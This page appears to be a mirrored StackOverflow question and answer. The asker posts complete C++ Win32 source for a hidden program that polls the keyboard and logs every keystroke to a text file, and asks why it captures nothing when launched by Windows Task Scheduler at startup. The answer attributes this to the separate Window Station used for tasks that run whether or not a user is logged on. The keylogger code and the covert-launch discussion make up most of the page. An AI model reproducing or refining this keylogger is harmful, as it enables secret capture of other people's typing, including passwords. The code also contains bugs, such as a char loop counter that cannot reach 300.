Question

I made this c++ program, in Win32, without a console ( Win32 application). The program is supposed to get all the input from the keyboard, and put it in the file: "file.txt". When I run the program via visual studio 2012, and when I run the .exe file of the program, it works just fine.But the problem is when I'm trying to run it (the .exe file) via taskschd.msc - windows tasks scheduler: its not working. I followed the instructions on how to schedule a program in taskschd.msc as described here: http://www.sevenforums.com/tutorials/67503-task-create-run-program-startup-log.html

I did it with an administrator user.

The problem is that when the taskschd.msc starts this program, I can see in the taskmanger that the program has been started, but for some reason it doesn't put any characters into the file. What i want is, that even when the program is started with taskschd.msc, is would work just like when I activate is manually. I even tried to run in the tasks scheduler a .bat program that start the .exe, but it doesn't help, although it works fine when activated manually.
I, nor any one know, has NO IDEA how to fix this. this is the code:

  //Define the minimum operating system for the application:
#define _WIN32_WINNT _WIN32_WINNT_WINXP //Windows XP
//Get rid of the annoying min() and max() macros:
#define NOMINMAX
//Include the windows header:

#include <iostream>
#include <fstream>
#include <conio.h>
using namespace std;
#include <Windows.h>
#include <Winuser.h>

int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;

FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");

//if (OUTPUT_FILE == NULL )
    //return -1;

if (key_stroke == VK_BACK)
    fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]"); 
else if (key_stroke == 13)
    fprintf(OUTPUT_FILE, "%s", "\n"); 
else if (key_stroke == 32)
    fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB) 
    fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
    fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
    fprintf(OUTPUT_FILE, "%s", "[CTRL]");
else if (key_stroke == VK_ESCAPE)
    fprintf(OUTPUT_FILE, "%s", "[ESC]");
else if (key_stroke == VK_END)
    fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
    fprintf(OUTPUT_FILE, "%s", "[HOME]");
 else if(key_stroke == VK_DELETE)
     fprintf(OUTPUT_FILE, "%s", "[DEL]");
else if(key_stroke == VK_INSERT)
    fprintf(OUTPUT_FILE, "%s", "[INS]");
else if(key_stroke == VK_CAPITAL)
    fprintf(OUTPUT_FILE, "%s", "[CAPSLOCK]");
else if (key_stroke == VK_LEFT)
    fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
    fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
    fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
    fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == VK_BROWSER_BACK)
    fprintf(OUTPUT_FILE, "%s", "[BROWSER_BACK]");
else if (key_stroke == 190 || key_stroke == 110)
    fprintf(OUTPUT_FILE, "%s", ".");
else
    fprintf(OUTPUT_FILE, "%s", &key_stroke);


fclose (OUTPUT_FILE);
return 0;
}
int wWinMain(HINSTANCE hInst, HINSTANCE prevInst, LPWSTR szCmdLine, int nCmdShow)
{
    while (1)
    {
        for(char i = 8; i <= 300; i++)
        {
            if (GetAsyncKeyState(i) == -32767)
            if(Save (i,"File.txt")==-1)
                return 0;
        }
    }

return 0;
}
Was it helpful?

Solution

I'm not an expert on this matter, but anyway, I guess you created scheduled task with "Run whether user is logged on or not" option selected. This makes task scheduler to run tasks in separate Window Station to prevent messing with desktop and (in your case) input devices, such as keyboard and mouse.

You can add following code to your program to check in which Window Station your program runs:

HWINSTA station = GetProcessWindowStation();
char buffer[1024];
BOOL result = GetUserObjectInformation(station, UOI_NAME, buffer, 1024, NULL);

if contents of buffer variable is not WinSta0 you are out of luck.

And no, you won't be able to steal password entered at logon.

Licensed under: CC-BY-SA with attribution
Not affiliated with StackOverflow
scroll top